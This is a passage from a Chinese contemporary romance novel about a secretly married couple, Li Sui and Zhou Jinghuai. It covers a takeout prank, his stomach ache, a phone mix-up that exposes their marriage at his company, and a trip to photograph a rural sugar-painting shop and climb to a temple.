黎穗觉得这个回复很眼熟,又不是在网上看到过的那种眼熟,她愣了会儿,突然顿悟。 这不就是许久前,她给他写的那副草书糖画的内容?! 所以他当时,明明就看出来了! 居然还当不知道。 黎穗恼羞成怒,索性不撤了,就这么无视了周景淮的消息。 那头,周景淮的目光落在毫无动静的聊天界面上,眉梢微微一挑。 她的语气调侃意味太浓,周景淮不至于真的觉得她在和哪个野男人调情,让他想不通的反而是—— 就他对黎穗的了解,此刻她不应该这么平静,而应该气得牙痒痒,脑子里想出108种报复手段才对。 等了大概半小时,手机依旧没有动静,周景淮正低头打字,却被敲门声打断了思绪。 “咚咚——” 孙漫秋推门而进,把文件交给他的同时,嘴角一次次往上扬,又一次次被迫往下压。 周景淮瞟她一眼,低头签字:“孙秘书,好久没见你这么笑过了。” “……”怎么霸总还抢台词呢? 孙漫秋清了清嗓子,欲言又止:“周总,楼下……有一个您的外卖,点的人说是……” 周景淮慢条斯理地把笔帽合上,像是想到了什么:“说什么?” 孙漫秋的嘴角有一种抽搐的趋势:“说是您,唯一的姨。” 难怪刚才微信上不显山不露水的,原来搁这儿等着呢。 周景淮哼笑一声,站了起来。 孙漫秋莫名地盯着周景淮,发现他不仅没有感到奇怪或不爽,反而心情颇好地起身扣上西装的第一颗扣子,步履稍显急促地出了办公室。 电梯一路下行。 前台的两个小姑娘正交头接耳着,见周景淮下来,立刻挺直脊背,恭敬地异口同声:“周总。” 周景淮问:“外卖呢?” 其中一个小姑娘从抽屉里拿出一个纸袋,上面用订书机订着一张外卖单。 备注上用放大的字体清晰地印着一行字:【小伙子,工作忙也别忘了吃饭,姨会心疼的,要是太累了,就辞职吧,姨养你!——你唯一的姨。】 周景淮气笑了,不急不缓地拉开纸袋,里面是一份蟹黄面,价格还不便宜。 这小丫头,平时不见怎么花钱,报复人倒是不觉得肉疼。 虽然周景淮看着不像生气的样子,但前台的小姑娘还是有些战战兢兢:“周总,您放心,我们一拿到就立刻收起来了,除了我们和孙秘书以外,没有任何其他人知道。” “没事。”周景淮笑了笑,眉目之间尽是宠溺,“我太太生我气呢,故意逗我的。” 前台俩小姑娘默契地发出一声惊呼:“周总,您结婚了?!” “嗯。”周景淮这回,连“保密”俩字都懒得说了。 “难怪呢!”小姑娘笑道,“我就说,这备注的遣词造句看着也不像是真的上了年纪的人,周总和周太太真恩爱,一定百年好合。” “谢谢。”周景淮不遮不掩,从口袋里掏出手机,拨通了黎穗的电话。 那头很快接听,语气硬邦邦的:“干嘛?” 周景淮淡淡道:“外卖收到了。” “什么外卖?”黎穗故作不知。 “你说什么外卖?就这么放在前台,所有来拿外卖的都看到了,谢谢你啊,我唯一的姨。” “不客……噗嗤……气。” “这下开心了?”周景淮靠在前台,悠哉悠哉地强调。 “周太太?” * 骗子很快被群主踢出了群,又小小地报复了周景淮一把,黎穗的心情颇为愉悦。 就连他那句莫名其妙的“周太太”,黎穗也没放在心上。 下午忙着在小程序后台录入信息,小店没开门,傍晚时分,她步行去超市买了些食材。 估摸着周景淮应该已经到家,黎穗本来想等周景淮做完晚饭,吃几口后再去市集开门营业的,但没想到推开门,却没听到厨房里的动静,只看到周景淮闭眼躺在沙发上,像是睡着了。 大圣趴在他身边,脑袋还在努力往他手臂下面钻,似乎非常想当那个狗形抱枕,但是尚未成功。 而公主正一脸担心地用脑袋蹭着他的脸。 黎穗本来以为他是最近太累,睡着了,但走近了才发现,他的脸色,看起来不太对劲? 过分苍白。 吓得心仿佛掉了一拍,黎穗赶紧冲了过去,把食指抵在他鼻子下方。 还好,呼吸正常。 黎穗用手背碰了碰他的额头,没有发烧,但是发际线处却满是冷汗。 黎穗的神色越发严肃,双手推了推他的手臂:“周景淮。” 喊了几声后,周景淮才幽幽转醒。 漆黑的眼眸,此刻像是没有聚焦,盯着她看了许久,才慢慢回过神来,开口时,嗓音分外低哑:“怎么了?” “我问你怎么了才对吧?你脸怎么这么白,还满头汗。” 周景淮说着“没事儿”,黎穗心里却已经有了猜测。 “你又胃疼了?” “你怎么知道我会胃疼?” “我……”黎穗顿了顿,“干妈说的,而且你们这些总裁,十个里不是九个胃疼嘛,小说里都有。” “……”周景淮咬了咬牙,“你少说点。” “哦。”黎穗默了两秒,又忍不住,“你是不是晚上吃什么刺激性的东西了?” “还没吃。” “那就是中午……”话到一半,突然停住,黎穗慌了一瞬。 不会是因为,中午她给他点的那份外卖吧?可是她自己吃的也是蟹黄面啊,周景淮的胃是有多脆弱! 黎穗偷偷拿出手机,求助度娘。 【胃不好的人可以吃蟹黄吗?】 网络医生们的回答基本都差不多,说蟹黄性凉,胃不好的人要禁食,否则容易导致腹痛、消化不良等。 带着点“肇事者”的心虚,黎穗收起手机,小心翼翼问:“有药吗?” “刚买了。” 黎穗焦躁地等了许久,终于等到门铃响起,她赶紧去门口接了药。 把纸袋拆开,拿出里面的药往他怀里一塞,黎穗急匆匆道:“赶紧吃,我去给你倒水。” 周景淮嗓音带着点虚脱,却是一如既往的散漫调调:“这玩意儿,可能咽不下去。” “药有什么咽……”黎穗回头一看,脚步定在了原地。 周景淮手里拿的,不是胃药。 而是一盒……避孕套,还是特小号的。 “……”黎穗看了眼纸袋上的外卖单信息,确认地址没错,周景淮点的也没错。 那就是商家装错了。 黎穗无语地给商家打了个电话,对方连连道歉,说是和另一个订单弄混了,立刻找骑手补送。 黎穗嘴角一抽,一时之急分不清,是胃疼的时候收到一盒套比较惨,还是小情侣热火朝天的时候收到一盒胃药比较惨。 黎穗问:“那这个……呃,我等会儿给骑手吗?” “不用不用,送你了,真是太抱歉了。” “倒也不……”黎穗话还没说完,电话已经被挂断了。 她转过身,顺嘴道:“老板说送你了,你……留着吧,说不定正好尺寸合适。” 她在说什么。 黎穗无语地挠了挠额头。 周景淮闭着眼睛,迷迷糊糊应了一声,黎穗没听清,着急忙慌去了厨房倒水。 第二次,还好没送错。 任劳任怨地喂他吃下,周景淮不忘翻旧账:“今天的消息是怎么回事?” 黎穗都快忘记这回事儿了,尤其是他虚弱的语气,让她完全没了和他作对的意思,原原本本把遇到骗子的事情叙述了一遍。 一眨眼,九点了。 药效起了之后,胃部的不适感看起来减轻不少,周景淮悠悠喝着温水,瞥了眼墙上的钟,问:“今天店不开了?” “都这个点了,就算去也营业不了多少时间,算了,而且是我点的外卖把你害成这样,我会负责的。” 周景淮怔了怔,笑了:“你以为是你的蟹黄面害我胃疼?” “不是吗?” “跟那个没关系,下午秘书部点了下午茶,给我送了一杯,大概是那杯冰柠檬茶的原因。” “……”黎穗懊恼嘟囔,“你不早说!害我损失了一晚上的营业额。” “多少?我赔你。” “我开玩笑的。” “我没开玩笑。”茶几上就放着黎穗的记账本,周景淮拿过来翻了两页,“简单款6元,复杂款11元,上周四的营业额是6X53+11X18,上上周四是6X46+11X23。那取个整数吧,就当50个简单款,20个复杂款算。” “啊。”黎穗挡不住他的诚心,“行吧。” 周景淮掏出手机摆弄了几秒,很快,黎穗的微信上跳出一条收款提醒: 【转账520元】 黎穗愣了下,才反应过来,50个简单款,20个复杂款,总价的确就是520。 “谢谢老板!”黎穗收了钱,随手抱起茶几上的电脑,开开心心回了房间。 周景淮低头看着手机屏幕上的聊天记录。 【不用马尔代夫,哥哥V我520,你就是我的下一任丈夫。】 【转账520元。】? 她到底是什么超绝钝感力? 第37章 清晨的骤雨大厦,人群鱼贯而进。 晨曦透过落地窗洒在地毯上,将还没有开灯的办公室,分割成一明一暗两个世界。 周景淮刚脱下西装挂在衣架上,宋杰就进来汇报了一下这几天的基本行程。 周景淮点了点头,突然像是想起什么,又随口一问:“最近公司里有什么传言吗?”? 宋杰觉得这话耳熟,想了想,不久前,周景淮也问过这个问题。 他什么时候对公司八卦这么感兴趣了? “没有啊。”宋杰拍拍胸脯,“我们公司对员工的品行要求是很严格的,绝对不允许在公司随意传播未经证实的八卦。” “……你出去吧。”周景淮面无表情。 “好。”宋杰往外走了几步,又回头提醒,“老板,九点半高层会议。” “嗯。”周景淮看了眼时间,已经九点二十五分了,随即转身朝会议室走去。 偌大的会议室里,鸦雀无声。 见周景淮进门,所有人默契起身,视线投了过来。 “周总。” 周景淮微微颔首,走到长会议桌的主位,拉开椅子坐下,示意开始。 会议氛围极为肃穆,两位董事意见不合,开始你一句我一句地争执起来,所有人大气都不敢出。 只有周景淮依旧一派淡定,右手手肘抵在扶手上撑着太阳穴,漫不经心地听着。 口袋里的手机突然震动,周景淮掏出手机,按亮屏幕的那一瞬间,却不由怔住。 屏保是黎穗和一个短发女生的合照,大概是她的闺蜜。 拿错手机了? 周景淮回忆片刻,今早她比他早出门,他洗了碗走出厨房时,桌上只剩下一个手机。 俩人的手机是同一款,手机壳还都是黑色的,时间紧张,周景淮也没细看,就直接拿着出门了。 周景淮正思考着拿助理手机给她打个电话,却突然察觉,会议室里渐渐安静下来,甚至,比会议开始前更安静了。 就连刚才吵得不可开交的俩董事,此刻也都坐了下来,默契地盯着他看,眼里带着些惊讶。 准确来讲,不是盯着他。 而是盯着他的手。 周景淮想起什么,把手机翻转过来。 他忘了,俩人的手机壳虽然都是黑色,但也有不同。 他的是纯黑色,而黎穗的,却在黑色背景上印着八个错乱排列的大字—— 【男人,还是毒哑的好。】 在各位高管异样的眼神中,周景淮轻笑一声,镇定自若地把手机放在一旁。 “抱歉,我老婆的,早上出门拿错了。” 周景淮隐约听到了空气中倒吸一口凉气的声音。 恰在此刻,手机响起铃声,周景淮瞥了眼,备注是“亦旋姐”。 “休息五分钟继续。”周景淮微微颔首,拿着手机起身走到一旁的落地窗前。 虽然声音刻意放轻,但在寂静到针落可闻的会议室里,还是所有人都清楚地听到了他那句: “嗯,开完会给你送过去。” 桌边的高管们面面相觑,用唇语进行着交流。 “周总什么时候结婚的?一点都没听说啊!” “我倒是隐隐约约听前台的小姑娘说起过,好像是真的,前几天还贴心地给周总点了外卖,怕他不吃饭会胃疼。” “这事儿我有发言权啊!”刘副总探出半个身子,压低声音说,“其实我之前看到过周太太送周总上班来着!” “那你怎么不说啊!” “周总让我保密啊,我哪里敢说!不要命了么!” “这么恩爱啊?又是送上班又是帮点饭。” “刘副总,周太太漂亮吗?” “废话。”刘副总竖起大拇指,“跟仙女儿似的。” “难怪藏这么好……” 众人的窃窃私语,在周景淮挂断电话转身的那一刻,陡然停止。 周景淮拉开椅子坐下,像是什么都没听到,淡淡道:“继续吧。” …… 半小时后,会议结束。 周景淮扔下一批还在懵圈的高管们,径直快步进了电梯。 驱车直达市集。 周景淮拿着手机下车,半路,手机却再次响起。 这次,是一个陌生的号码。 想着可能是黎穗又借别人的手机打了电话来,周景淮按下接听。 奇怪的是,那头并没有任何声音。 意识到不是黎穗,周景淮“喂?”了一声。 两秒后,那边挂断了电话。 周景淮眉头轻蹙,但那串数字,已经消失在了手机屏幕上。 正值午餐时间,黎穗正在店里吃外卖,还一心二用地看着电脑。 周景淮把手机往她的方向推:“刚才有个陌生电话,我接了,但对方没说话。” “这么奇怪?”黎穗这才回神,拿过手机翻着通话记录,的确有一个通话时长五秒钟的电话打进来。 “可能是广告推销吧。”她没放在心上,从口袋里掏出他的手机,又把自己的收了回去,目光依旧停留在眼前的手提电脑上。 周景淮拉开椅子坐下,发现她在看景区民宿。 “要去旅游?” “不是,我最近不是在录入小程序里的后台信息嘛,又有家店没有图片资料,我想着周二休息,去拍几张。” 最近,由于群里的大家都自发地把小程序码放在了小店里,小程序的使用人数,一直在稳步上升。 除了交流群里的店主慢慢增多,来联系加入小程序的也越来越多。 绝大多数店主在联系她加入的时候,都会主动提供店铺照片、地址、特色产品照片等信息,但也有极个别店主,因为年岁已高、条件有限,没有电子设备,所以没有办法提供照片。 这种时候,黎穗一般就会自己去一趟拍几张,反正都在市内,半天基本就够来回。 但这是有史以来,最远的一次。 “这次去哪儿?” “河溪,店在景区里。”黎穗说,“那天晚上估计回不来,你不用等我吃晚饭了。” “我送你去。”周景淮理所当然道,“正好也很久没出去旅游了。” 黎穗犹豫片刻,最后决定还是不客套了,有他开车,比地铁转大巴再转公交方便多了,说不定当天就能来回。 ……才怪。 因为高速上的一场交通事故,两个小时的车程,他们却开了四个小时。 本来出门时还想把已经预定的民宿退掉,但黎穗抬头望了眼已经西斜的太阳,突然有点庆幸,看这景区路上人来人往的架势,要真退了,现在估计都不一定能再订到。 俩人去前台取完房卡,便进房间放了行李。 她本来想订两间房的,但转念想想景区民宿还挺贵,实在没必要多花一份钱,毕竟一回生两回熟,她好像并不觉得和周景淮睡在一张床上,是什么不能接受的事了。 俩人稍微休息了一会儿,便前往老刘糖画店拍照。 这里依山傍水,路上看不到一辆车,来来往往都是散步的行人,有小狗躺在地上晒着太阳,悠闲得令人羡慕。 即便是是傍晚时分,空气也依旧清新,难得逃离大城市,黎穗深吸一口新鲜空气,才想起给周景淮介绍。 “这家小店,是店主的孙子联系我的,希望糖画之家可以给爷爷多带去点生意,但他常年在外地打工,所以没有店铺及作品照片,爷爷也不听他的。”黎穗顿了顿,说,“他还说,他爷爷性子比较犟,可能不是那么好沟通,希望我们多体谅。” “明白。”周景淮淡定点头。 “你明白什么了?” “就是很难沟通,需要我们厚脸皮。” “……”话粗理不粗。 说着,小店招牌已经就在眼前。 门面看起来是家里的老房子,白墙黑瓦,略显陈旧,一位满头银丝的老爷爷正专心致志地画着糖画,摊位前站着两个小姑娘,看起来不过二十出头的年纪。 等她们拿着糖画离开,黎穗立刻小跑到老人面前,老人抬头看了她一眼,不冷不热地问:“要画什么?” 黎穗微笑着自我介绍:“爷爷,我叫黎穗,辅川糖画之家小程序的开发人,您孙子应该有跟您提过我?” “什么玩意儿。”老人摆摆手,脸色有些淡漠,“不知道,不买东西就走吧。” “……”果然是很难沟通。 “是这样的,我们这个小程序……”黎穗点开小程序递到老人面前,想跟他更详细地介绍一下,可惜老人完全不看,甚至因为她的话而变得不耐烦。 “我说了,我不买东西,别以为我年纪大了就什么都不懂,警察都来讲过了,你们这些推销的都是诈骗。” “我们不推销东西……” 黎穗好言好语地劝,却换来后者更不耐的斥责:“走不走!” 黎穗张了张嘴,一时不知道还能说什么。 就在此时,右手手腕突然被人拉住,黎穗回头,看到周景淮借着摊位的遮掩,将她轻轻拉到身后。 他微微颔首,礼貌道:“老人家,我想画及时雨宋江,您会画吗?” 老人瞬间不服气地挺直了脊背,哼笑一声:“水浒传108将,就没有我不会画的!” “老人家也喜欢水浒传啊?真难得遇到同好。”周景淮一脸温和的神色,看得黎穗一愣一愣。 “你?”老人盯着他打量了好一会儿,满脸写着怀疑,“毛头小子,我孙子都说了,现在的小年轻没什么喜欢这些的。” “您不相信啊?”周景淮笃定道,“不然您考考我?” 老人对水浒传人物的熟悉程度,确实超乎黎穗的预料,他甚至可以一心二用,一边画画,一边给周景淮出考题:“那考你个最最简单的,智多星是谁?” 周景淮:“吴用。” “小旋风?” “柴进。” “青面兽?” “杨志。” “赤发鬼?” “刘唐。” …… 黎穗看向周景淮的目光难得带上了几分崇拜。 老人的考题出完,宋江的形象也新鲜出炉,唇方口正,额阔顶平,气宇轩昂。 与此同时,他对待周景淮的态度,也有了明显的改变,脸上甚至带上了一丝笑意,眼角皱纹深深叠起。 “你小子确实有点水平。”他把糖画递给周景淮,甚至主动开口,“那我再送你一副。” “谢谢老人家。”周景淮用现金结了账,“其实现在很多小年轻对这些感兴趣的,我这种了解程度,不值一提了。” “怎么可能?”老人明显不信。 “不然我给您看看?”周景淮试探着问。 见到老人神色松动,没有拒绝的意思,黎穗立刻凑了过去,把小程序里的顾客讨论区递给他看。 【好奇,有没有人会画水浒传或红楼梦里的人物?看到好多糖画摊,但都没找到能画这些的。】 【有!城南那家可以!】 【上次看网上还有能画立体花灯,太牛了!】 【花灯怎么用糖做?夸张了吧……】 老人摘下老花镜,哼了一声:“花灯怎么不能用糖做。” “爷爷您会做啊?” “我几十年前就能做了。”老人满脸自豪,末了却又叹了口气,“不过难度高,价格贵,大家也就看看热闹,真要买的人没几个。” “不是的,只是很多人没有渠道。” “真的?” “嗯。”黎穗近一步给他介绍了小程序的功能和目的。 终于换来老人释然的笑。 “我孙子要是这么介绍,我不就懂了嘛,怎么还会以为你们要卖东西。” “没关系。”黎穗笑笑,问,“那我们现在可以给您的店和作品拍些照片吗?” “我不懂这些,你们要拍就拍吧。”老人摆摆手,开始制作立体花灯。 上次黎穗在群里看过有人发了立体灯笼的成品,相比而言,花灯有各种装饰,制作过程显然更为复杂。 它需要先画出俯视平面,再在中心浇上糖浆,靠巧劲将边缘拉起,通过拉丝的效果,完成花灯的四壁。 但凡出一点点差错,就前功尽弃。 黎穗趁机用相机拍了不少照片资料,同时也深深感受到了,山外有山,人外有人。 她所会的,还太少太少。 晚上回到民宿,黎穗赶紧把照片和资料录入后台,不多时,交流群里就有人讨论起来。 黎穗合上电脑,看到周景淮正好从浴室出来,她喝了口水,好奇地问:“你是怎么知道那爷爷喜欢水浒传的啊?他店里没有相关的东西啊,我来之前在网上搜了河溪糖画,也没看到水浒传相关的。” “刚才排在我们前面的两个女生要画哪吒,老人家问了几遍是不是八臂哪吒。” “原来是这样的,我居然没听到。”黎穗有些懊恼,亏她之前还觉得自己挺善于注意细节的。 “你刚才注意力都放在了等会儿怎么说上,没听到很正常。”周景淮抬手揉揉她的脑袋安抚,自然到仿佛是什么习惯动作。 “嗯。”黎穗低低应了一声,神态自若地拿起手边的遥控器对着电视机按了好几下开关,电视机却毫无反应。 “换一个——”周景淮拿过放在床尾的另一个遥控器,递到她面前,轻笑着提醒: “空调都调到16度了。” 第38章 (二更) 一米八的大床,足够容纳两个人。 黎穗忘却了刚才那阵奇怪的悸动,很快恢复如常。她好像没把他当男人,甚至没把他当人,松弛得跟旁边睡了一只大圣似的,自顾自刷着短视频。 自打之前给周景淮相关的视频点了无数次不感兴趣之后,大数据终于不给她推了,但大概是因为来了河溪,黎穗没一会儿就刷到了这里的景点推荐。 “求财的朋友们一定不能错过清河寺……” 前两个字,硬控着黎穗刷完了一分钟的拜神攻略。 她蹭地看向身边已经闭眼休息的周景淮:“周景淮,我们明早去清河寺吧?中午再回去?据说求财很灵。” 周景淮眼睛都没睁开,懒洋洋道:“不缺。” “……” 看出来了,破财对周景淮来说不能接受,但是赚钱对他来说,好像也没那么大吸引力。 他只是一个简简单单的守财资本家。 黎穗加大诱惑:“求其他也很灵的,你可以去求平安、健康、姻缘……” “知道了,快睡。”周景淮终于妥协。 “嗯。”黎穗关了灯,心满意足地躺下,四周黑暗空寂,隐隐能听到远处山泉的声响,但夹杂在其中的,似乎还有一些,不太和谐的声音。 “嗯……啊……” 没吃过猪肉也见过猪跑,黎穗秒懂,趁着可能还只是开始,没那么夸张,她立刻重新打开灯,从包里挖出了蓝牙耳机。 一回头,周景淮也睁开了眼睛。 黎穗本来没觉得多尴尬,但是当以这些声音为背景音,和周景淮的视线对上的那一刻,尴尬的感觉后知后觉地涌了上来。 她用力拍了拍墙壁提醒,那头简短地停了两三秒的时间。 但又很快恢复了音量。 甚至音调还比之前高了一些,明摆着肆无忌惮。 她压着火气,默默地送出一只耳机:“你要不?” 周景淮接过,戴在了自己的右耳。 黎穗把另一只耳机塞进左耳,在音乐软件里随意点入了一个看起来比较劲爆的摇滚歌单。 歌曲节奏轻快,男歌手的嗓音也很有磁性,对于黎穗来说,外文歌,节奏好听就行,她从来不会去细听歌词。 直到周景淮突然闭着眼睛叹了口气:“换一首吧。” “怎么了?”黎穗不解,“挺好听的啊。” 事儿精。 话虽然这么说,黎穗还是拿起手机,准备切换到下一首。 也就是在那时候,她看到了屏幕上的双语歌词。 I wanna kiss a girl (想找个人吻吻) It''''s that moment when (就在这个时刻) you start closing in (你悄然而至) first you are holding back (开始你反抗) then surrendering (然后你屈服) …… 黎穗:“……” 她默不作声地从歌单里挑了一首中文歌。 奔跑吧,骄傲的少年! 年轻的心里面,是坚定的信念。 燃烧吧,骄傲的热血。 胜利的歌我要再唱一遍。 …… 这下舒服多了。 黎穗暗暗松了口气,却忘了,这么激昂的背景音乐,遮掩噪音的同时,也驱赶了所有睡意。 连着听了三首,黎穗偷偷摘下耳机,隔壁还没有停止的趋势,反而越演越烈,而且从无意义的语气词,演变成了更具象的形容。 “疼……疼……” 到底是在玩什么play? 黎穗看了眼时间,已经快凌晨一点了。 她实在忍不住,从床上爬了起来。 周景淮微掀眼皮:“要过去打架?” “那不至于。”黎穗跪在床头,右耳贴在墙壁上细细听了大概十秒钟。 “疼……” 黎穗用力拍了拍墙壁,故作贴心地大喊了一声:“这么疼,请问是被针扎了吗?” 那头瞬间安静了。 黎穗心满意足地再次躺下,却看到周景淮直勾勾地盯着她看。 “干嘛?” “要不我们去互买一份意外险?” * 隔壁安静了一夜,黎穗也因此睡了个好觉。 第二天一早,俩人早早退房,开车去了清河山。 清河寺位于清河山的山顶,坐缆车只需要十分钟。 ……但需要等90分钟。 摆在黎穗面前的只有三种选择,在烈日暴晒下等90分钟,或者自行爬上山,或者立刻打道回府。 来都来了。 想着这山不算高,黎穗三选一,选择了第二种。 山间小径有树荫遮挡,倒不算暴晒,但黎穗很久没这么运动过了,爬了不到二分之一,就开始气喘吁吁。 周景淮倒是一派松弛,而且黎穗发现,他好像不算是爱出汗的体质,上次打完篮球,还是清清爽爽,今天亦然。 他站在两级台阶下,差不多和她平视:“不行了?” 黎穗转回身,一手叉着腰,另一只手摆了摆,话不成句:“等、等下,我歇、歇一会儿。” 站在树荫里喘了会儿,后面有人上来,黎穗扯着周景淮的袖子,示意他往旁边让让。 后面有一对父女,父亲牵着大概八九岁女孩儿的手,一边带着她往上走,一边不停鼓励:“多多真厉害!还有一半我们就走完咯!” 黎穗看着他们的背影,不由想起上一次和爷爷一起爬山的场景。 准确来说,应该是两家人一起,去山顶寺庙祈福。 爷爷虽然做过胃部切除手术,身形消瘦,却精神矍铄。他也像这位父亲一样,牵着她的手,笑容和蔼地鼓励她继续往上走。 可是谁也没想到,后来爷爷胃癌复发,便再也没有了这样的机会。 树荫里略显昏暗,一如黎穗的目光。 右手手腕突然被人握住,黎穗回过神来,侧头一看,周景淮不知道什么时候,已经走到了她的前面。 “走吧。”他没多说,只是握着她的手腕,带着她踏上一层层石阶。 黎穗低头看了眼,修长的五指圈着她的手腕,力道不轻不重,没有给她带来任何束缚感。 她抿了抿唇,快步跟上。 走到四分之三的时候,黎穗更觉得自己的体力有些衰竭。 周景淮牵着她往前,她整个人却跟没有骨头似的往后瘫。 “周景淮,我不行了……” 黎穗很少用这种接近撒娇的语气说话,更别说是对周景淮。 疲劳之下,连带着被他握住的右手也没力地慢慢下滑,汗水像是润滑剂,俩人相握的地方,不知道什么时候由手腕,变成了掌心。 眼看着她的手即将抽离,周景淮握得更紧了些,一时间,俩人完全成了“牵手”的姿势。 上次牵手是为了在长辈面前演戏,但这次不一样,和路上看到的无数对小情侣别无二致。 黎穗一下像是被踩中了尾巴的猫,跳了起来。 “我突然又行了!” 她抽回手,浑身跟刚被装了马达似的,拨开周景淮,一个劲地往上冲。 周景淮怔了怔,视线从她的背影移到自己的左手。 他攥了攥拳头,掌心里依稀还有那股柔软在,无奈哼笑一声。 “怂。” * 在清河寺里半坐半逛了个把小时,黎穗终于又恢复了生机。 拜完财神,俩人去出口处的文创商店逛了一圈。 黎穗没多久就被一条黑色手绳吸引了视线。 ……这难不成是批发的吗? 她扯了扯周景淮的衬衫袖子,指着那条黑色手绳偷偷吐槽:“你看,跟你手上这条一模一样,咱真是冤大头。” 周景淮扫了眼,淡淡纠正:“别带我。” “……”好像,还真是她一个人买的? 那年祈福流程的最后,也是文创商店。 黎穗本来没想买什么,却被店主拉住疯狂推销。 “小姐,我们这手绳是开过光的,要不要带一条?” “谢谢,不用。”黎穗连连摆手。 “我看您最近事业应该不是很顺?” 黎穗一只脚都迈出门槛了,听到这话又把脚收了回来。 她最近确实不是很顺,新书扑街,思路卡顿,这老板,难不成真有点东西? “我们这手绳,主要就是保的事业顺利,财运亨通。” 说到这,黎穗就有些心动了,她看了一眼标价,35,放眼整个商店里,这应该算是很便宜的了。 信则有,不信则无。 就当买个好运吧,她想。 “那我买一条吧。” “好嘞!” 黎穗跟着老板到收银台付了钱,老板一边把手绳放进纸袋,一边热情地问:“小姑娘还是单身吗?” “嗯。”黎穗点头,从老板手中接过袋子。 “那更是了,我们这手绳,不仅保财运,更保桃花运!戴了之后啊,保管你桃花朵朵开,今年恋爱,明年结婚,后年抱上胖娃娃。” “……”笑意僵在了黎穗脸上。 这是什么恐怖故事。 但钱都付了,她也不好意思退,提着袋子走出门,恰遇上靠在廊柱上乘凉的周景淮。 他低头看了眼,随口道:“买了什么?” 黎穗骂骂咧咧:“买完才告诉我招桃花。” “那不是挺好?” “你想要烂桃花啊?”黎穗瞥他一眼,把袋子扔给了他。 “那给你吧。” …… 想起曾经,黎穗好奇地问:“你一直戴着,不会是因为真的招桃花吧?你在国外桃花开得旺不?” “没用。”周景淮说,“保财运倒是真的。”? 黎穗想起骤雨科技这几年的飞升,嫉妒得咬牙切齿了。 她绕着柜台转了一圈,最后被一对小徽章吸引了目光。 红色徽章合起来大概也就一块钱硬币大小,雕刻着代表福气满满的小锦鲤,中间s形的裂缝,将它分成水滴形状的两半。 “这个好可爱。”黎穗指着它对周景淮说,“我想买这个。” 周景淮扫了眼,目光微定:“这是情侣款。” “我知道啊。”黎穗不觉得有什么问题,“就是情侣款才用得上。” “幼稚了点。”周景淮的指关节蹭了蹭鼻尖,勉为其难道,“不过也行。” “幼稚吗?”黎穗左看右看,“你以为公主和大圣有多成熟?” 周景淮:? 第39章 一方面是小店的经营,一方面是小程序的录入和维护,接下去几天,黎穗都忙得像个被老天疯狂抽打的陀螺一样。 送走最后一位顾客,黎穗揉了揉手腕,解下手套和口罩,起身准备回家。 手机屏幕却在这时候突然亮起。 何潇雨:【陪我们老板出去应酬,你猜我看到谁了?】 黎穗重新坐下,颇有兴致地回:【你前男友?】 何潇雨:【呸,大晚上别说鬼故事。】 何潇雨:【是你老公!】 何潇雨随之发来一张照片,黎穗打开一看,这视角,偷感十足。 柱子挡了一半的镜头,另一半里,周景淮西装革履,正和一个中年男人寒暄着,脸上的笑带着几分客套与疏离。 但吸引黎穗全部目光的,却是他手里那杯红酒。 之前,她其实撒了谎,他容易胃疼的事情,她并不是听周芷玉说的,而是她亲眼见过。 也和酒有关。 大三那年暑假,黎穗陪周芷玉聊天,聊得太晚了,就借宿在了周家。 大概是难得换了床,黎穗有些失眠。 闭着眼睛的时候,听觉仿佛变得异常灵敏,凌晨,她依稀听到门外传来节奏凌乱的脚步声,对面卧室的门被打开,不知道什么东西掉落在地,发出清脆的碎裂声。 黎穗知道对面是周景淮的房间,犹豫片刻,她还是从床上爬了起来,想着去看看有没有什么能帮忙的。 房门打开着,里面却一片漆黑。 黎穗走到门口,借着月光,依稀看到了他斜躺在床上的身影。 周景淮的右手臂挡着眼睛,不知道是不是听到动静,他低声唤了句:“张姨?” 嗓音里带着浓重的醉意。 黎穗正想解释自己没有超级加辈的兴趣,又听到他说:“帮我拿颗胃药,床头柜。” 看到他的左手抚在胃的位置,黎穗欲言又止。 她伸手想开灯,但手都摸到开关了,低头看了眼身上轻薄的睡衣,又作罢。 靠着微弱的月光,黎穗摸到了床头柜抽屉的把手,里面只有一盒药,黎穗借着手机光亮看到上面写着可用于胃溃疡、胃酸过多导致的…… 应该是这个。 黎穗掰出一粒,又去自己房间拿了瓶矿泉水。 她坐在床沿,费力地将周景淮的上半身扶起,让他的脑袋靠在自己肩膀上,然后两指捏着药片,将它塞进他的口中。 周景淮全程跟睡死过去一样,一动不动,以至于黎穗回到自己房间的时候,像是去工地搬了一天的砖,累得气喘吁吁。 这种累,不只是身体的,更是心理的。 过了三年多,不会今晚又要重蹈覆辙吧? 黎穗骂骂咧咧。 喝喝喝。 活该胃疼。 * 手里的酒杯突然被抽走。 周景淮侧头看了眼沉野:“干嘛?” “怕你喝死。”沉野把眼前的茶往他面前推。 周景淮推了推鼻梁上的眼镜,拿回酒杯怼到他眼前:“葡萄汁。” 沉野闻了闻,还真是。 “今天怎么识相了?” “养生。”周景淮的拇指指腹轻轻摩挲着杯茎,长叹一声,“太多人盼我早死了。” “倒也不至于,那些老油条最多骂骂你人面兽心。” “我是说我老婆身后排着队的八个男模。” 沉野不知道这是什么情趣,也懒得问,倒是对另一件事有些好奇:“我正想问你,最近公司传得沸沸扬扬,说你结婚了,老婆还爱你爱得要死,你买通了谁传播的假消息?” 周景淮轻笑一声:“你知道我们公司,哪批人最八卦吗?” “哪批?” “就是脑袋上顶着一本正经四个字的那批。” 沉野:“……” 俩人插科打诨地聊了会儿,沉野突然想起出门前老婆的嘱托,随即从口袋里掏出一个红色绒盒,扔进周景淮怀里:“我老婆让我带给你的,就这对戒指,做了整整一个月。” 周景淮稳稳接住,塞进口袋:“谢了。” “打算什么时候送?” “看情况。”周景淮悠悠道,“你那时候不是说不超过80岁么,那我不超过79。” 沉野忍不住踹他一脚:“滚蛋。” 宴会厅里播放着舒缓的钢琴曲,俩人聊着天的功夫,却不断有人过来敬酒寒暄,沉野最不喜欢这种客套,没一会儿就闪人了。 周景淮紧随其后。 车窗降下,却感受不到一丝凉意,夏夜的闷热,一层层往脸上扑,周景淮扯开领带,让司机往长安壹号开。 口袋里的手机微微一震。 周景淮低头看了眼,是备忘录更新的自带提醒。 他眉梢轻挑,点了进去,一行大字瞬间映入眼帘—— 【男人爱喝酒,当初不如嫁条狗。】 怔愣一秒后,周景淮突然想起刚才在宴会上,站在某传媒公司老板旁边的女生。 他一开始只觉得她有些眼熟,现在才想起来,似乎是拿错手机那天,在黎穗的屏保上看到过。 周景淮的眉眼之间逐渐染上无奈的笑意。 其实这个夏夜,好像也没有那么令人难受。 他转而打开相册。 里面空空荡荡,只有一张照片,照片里也是盛夏。 